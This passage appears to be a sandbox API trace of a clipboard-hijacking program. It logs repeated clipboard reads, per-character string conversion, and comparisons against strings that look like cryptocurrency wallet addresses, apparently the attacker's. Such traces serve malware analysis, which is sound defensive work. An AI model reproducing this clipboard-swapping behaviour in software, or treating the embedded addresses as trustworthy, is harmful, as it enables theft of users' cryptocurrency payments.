lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.114] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0053.114] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0053.114] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0053.114] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0053.114] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0053.114] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0053.114] Sleep (dwMilliseconds=0x64) [0053.214] GetOpenClipboardWindow () returned 0x0 [0053.214] OpenClipboard (hWndNewOwner=0x0) returned 1 [0053.214] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0053.214] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0053.214] GlobalSize (hMem=0x6069b8) returned 0x42 [0053.214] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0053.214] GlobalUnlock (hMem=0x6069b8) returned 1 [0053.214] CloseClipboard () returned 1 [0053.214] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.214] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.214] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.215] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.215] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.215] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.215] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.215] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.215] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.215] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.215] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.215] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.216] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.216] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.216] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.216] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.216] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.216] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.216] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.216] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.216] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.217] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.217] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.217] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.217] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.217] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.217] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.217] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.217] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.217] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.218] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.218] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.218] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0053.218] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0053.218] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0053.218] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0053.218] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0053.218] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0053.218] Sleep (dwMilliseconds=0x64) [0053.323] GetOpenClipboardWindow () returned 0x0 [0053.323] OpenClipboard (hWndNewOwner=0x0) returned 1 [0053.323] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0053.324] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0053.324] GlobalSize (hMem=0x6069b8) returned 0x42 [0053.324] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0053.324] GlobalUnlock (hMem=0x6069b8) returned 1 [0053.324] CloseClipboard () returned 1 [0053.324] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.324] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.324] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.324] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.324] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.324] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.324] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.325] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.325] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.325] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.325] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.325] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.325] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.325] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.325] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.325] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.326] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.326] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.326] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: 